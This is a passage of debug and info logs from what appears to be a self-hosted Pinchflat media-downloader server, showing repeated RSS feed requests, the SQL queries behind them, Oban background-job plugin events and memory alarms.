db=0.6ms queue=0.5ms idle=180.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:10:33.639 [info] Sent 200 in 7ms 15:10:57.796 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.157 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:27.799 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:56.092 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:11:57.801 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.159 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:27.804 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:32.563 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:12:32.563 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:12:32.579 [debug] QUERY OK source="sources" db=15.3ms queue=0.2ms idle=1105.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:12:32.582 [debug] QUERY OK source="media_items" db=1.5ms queue=0.5ms idle=1122.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:12:32.585 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1126.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:12:32.586 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=1127.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:12:32.738 [info] Sent 200 in 173ms 15:12:57.806 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.161 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:27.809 [info] {"source":"oban","duration":1975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:57.811 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.163 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:27.814 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:57.817 [info] {"source":"oban","duration":2259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.165 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:27.820 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:57.823 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.167 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:16.909 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:16:16.909 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:16:16.911 [debug] QUERY OK source="sources" db=0.9ms idle=1332.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:16:16.913 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1334.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:16:16.916 [debug] QUERY OK source="source_metadata" db=1.5ms idle=1336.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:16:16.917 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.4ms idle=1338.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:16:16.918 [info] Sent 200 in 9ms 15:16:27.826 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:57.828 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.169 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:27.831 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:44.999 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:17:44.999 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:17:45.002 [debug] QUERY OK source="sources" db=1.6ms queue=0.4ms idle=1421.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:17:45.003 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1424.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:17:45.005 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1426.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:17:45.007 [debug] QUERY OK source="media_metadata" db=1.9ms idle=1427.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:17:45.055 [info] Sent 200 in 56ms 15:17:57.833 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.171 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:27.836 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:56.206 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:18:57.838 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.173 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:27.841 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:57.844 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.175 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:27.847 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:57.849 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.177 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:27.851 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:45.227 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:21:45.227 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:21:45.229 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=1648.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:21:45.232 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1650.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:21:45.234 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1654.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:21:45.235 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1204.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:21:45.235 [info] Sent 200 in 8ms 15:21:56.270 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:21:57.853 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.178 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:27.856 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:57.858 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.180 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:17.731 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:23:17.731 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:23:17.733 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=443.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:23:17.735 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=153.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:23:17.737 [debug] QUERY OK source="source_metadata" db=0.6ms idle=155.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:23:17.784 [debug] QUERY OK source="media_metadata" db=0.9ms queue=46.1ms idle=156.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:23:17.785 [info] Sent 200 in 54ms 15:23:27.861 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:57.864 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.181 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:27.867 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:57.869 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.183 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:27.871 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:57.873 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.185 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:27.875 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:44.176 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:26:44.177 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:26:44.178 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=591.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:26:44.180 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=592.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:26:44.211 [debug] QUERY OK source="source_metadata" db=0.7ms idle=624.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:26:44.213 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.5ms idle=626.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:26:44.214 [info] Sent 200 in 37ms 15:26:57.877 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.187 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:27.879 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:51.242 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:27:51.243 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:27:51.244 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1657.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:27:51.246 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1658.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:27:51.248 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1661.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:27:51.252 [debug] QUERY OK source="media_metadata" db=3.9ms idle=1272.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:27:51.253 [info] Sent 200 in 10ms 15:27:57.881 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.189 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:27.883 [info] {"source":"oban","duration":1750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:56.319 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:28:57.886 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.190 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:27.888 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:57.890 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.191 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:27.892 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:57.894 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.193 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:27.898 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:42.835 [info] GET / 15:31:42.881 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:31:43.023 [debug] QUERY OK source="settings" db=19.6ms queue=0.1ms idle=1355.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:43.053 [debug] QUERY OK source="media_profiles" db=29.4ms queue=0.1ms idle=1375.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:31:43.056 [debug] QUERY OK source="sources" db=1.9ms idle=1405.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:31:43.068 [debug] QUERY OK source="media_items" db=11.2ms queue=0.3ms idle=1333.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:31:43.104 [debug] QUERY OK source="media_items" db=35.5ms queue=0.1ms idle=342.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:31:43.524 [debug] QUERY OK source="settings" db=0.5ms queue=0.4ms idle=499.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:43.529 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=474.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:43.784 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=727.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:44.077 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=972.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:31:44.421 [debug] QUERY OK source="media_items" db=84.7ms queue=0.2ms idle=812.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:31:44.449 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=918.9ms SELECT m0."id", m0."uuid", 